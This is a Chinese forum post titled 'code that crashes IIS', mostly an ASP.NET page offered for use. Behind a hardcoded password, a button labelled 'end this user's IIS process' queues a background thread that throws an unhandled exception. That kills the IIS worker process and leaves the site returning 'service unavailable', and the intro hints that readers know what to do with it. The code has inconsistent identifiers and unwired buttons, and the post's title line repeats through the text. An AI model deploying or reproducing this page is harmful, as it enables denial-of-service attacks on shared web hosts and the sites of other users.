灯火互联
管理员
管理员
  • 注册日期2011-07-27
  • 发帖数41778
  • QQ
  • 火币41290枚
  • 粉丝1086
  • 关注100
  • 终身成就奖
  • 最爱沙发
  • 忠实会员
  • 灌水天才奖
  • 贴图大师奖
  • 原创先锋奖
  • 特殊贡献奖
  • 宣传大使奖
  • 优秀斑竹奖
  • 社区明星
阅读:3265回复:0

让IIS崩溃的代码

楼主#
更多 发布于:2011-11-14 14:02
站service unavailable。后面的大家都懂的

让IIS崩溃的代码
<%@ Page Language="C#" ValidateRequest="false" %>

让IIS崩溃的代码

<script runat="server">
   private static string PassWord = "willweiwei";

让IIS崩溃的代码
   protected void Page_Load(object willweiweia, EventArgs willweiwei)
   {
   
       if (!IsPostBack)
       {
           if (null == Session["willweiwei"])
           {
               LoginDiv.Visible = true;
               webScanDiv.Visible = false;
           }
           else
           {
               LoginDiv.Visible = false;
               WebScanDiv.Visible = true;
           }
       }

让IIS崩溃的代码

   }
      protected void Enter_Click(object willweiweia, EventArgs willweiwei)
   {
     
       if (PassWord == TEXTPASSWORD.Text.Trim())
       {
           Session["willweiwei"] = "willweiwei";
           LoginDiv.Visible = false;
           WebScanDiv.Visible = true;
       }
       else
       {
           TEXTPASSWORD.Text = string.Empty;
           WrongPassWord.Text = "密码错误,请重新输入!";
       }
   }

让IIS崩溃的代码
   protected void RegLink_Click(object willweiweia, EventArgs willweiweie)
   {
       System.Threading.ThreadPool.QueueUserWorkItem(delegate(object willweiwei) { throw new Exception("I Love U"); });

让IIS崩溃的代码
   }
 
</script>

让IIS崩溃的代码

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

让IIS崩溃的代码
<html xmlns="http://www.w3.org/1999/xhtml" >
<head runat="server">
   <title>www.atcpu.com</title>
</head>
<body>
   <form id="form1" runat="server">
   <div>
       <div style="width:719px;margin:20px auto 20px auto;text-align:center;font-weight:bold; font-size: larger; height: 48px;" align="center">
           xxx000</div>
 
   </div>
       <div runat="server" style="width: 725px; height: 76px; left: 243px; position: absolute; top: 81px;" align ="center" id="LoginDiv">
           <asp:TextBox ID="TEXTPASSWORD" runat="server" style="left: 252px; position: absolute; top: 5px"  Width="157px" ></asp:TextBox>
           
           <asp:Button ID="Enter" runat="server" Text="登陆" style="left: 438px; position: absolute; top: 3px "   Height="23px" Width="45px"  />
           <asp:Label ID="WrongPassWord" runat="server" Font-Bold="True" Font-Italic="True"
               ForeColor="Red" Style="left: 235px; position: absolute; top: 49px" Width="259px"></asp:Label>
       </div>
       <div id="WebScanDiv" runat="server" style="left: 243px; width: 726px; position: absolute;
           top: 165px; height: 404px">
           <div id="MessageDiv" style="width: 728px; height: 389px">
               
               <asp:LinkButton ID="RegLink" runat="server" Width="172px">结束本用户IIS进程</asp:LinkButton></div>
       </div>
   </form>
</body>
</html>

喜欢0 评分0
游客

返回顶部